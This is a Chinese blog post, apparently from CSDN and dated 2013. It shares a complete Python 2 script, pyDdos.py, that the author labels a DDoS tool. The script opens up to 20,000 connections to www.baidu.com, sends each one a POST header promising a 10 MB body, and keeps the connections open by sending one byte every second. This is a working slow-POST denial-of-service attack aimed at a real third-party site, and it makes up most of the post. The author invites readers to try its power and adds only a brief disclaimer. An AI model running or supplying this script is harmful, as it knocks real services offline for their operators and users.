今天为了休息下,换换脑子,于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。

附上源码pyDdos.py:

#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():
	global socks
	for i in range(0,MAX_CONN):
		s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
		try:
			s.connect((HOST,PORT))
			s.send(buf)
			print "Send buf OK!,conn=%d\n"%i
			socks.append(s)
		except Exception,ex:
			print "Could not connect to server or send error:%s"%ex
			time.sleep(10)
#end def

def send_thread():
	global socks
	while True:
		for s in socks:
			try:
				s.send("f")
				#print "send OK!"
			except Exception,ex:
				print "Send Exception:%s\n"%ex
				socks.remove(s)
				s.close()
		time.sleep(1)
#end def

conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())

conn_th.start()
send_th.start()

OK,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击。

原文地址(注:好像这个哥们儿也是从人家别的地方抄来的,但是他好像没有标注出处,所以我也不知道这个原文出自哪里,如有侵权,请及时联系我):python版本ddos脚本

2013年4月14日 Eric.Tang 记

Logo

CSDN联合极客时间,共同打造面向开发者的精品内容学习社区,助力成长!

更多推荐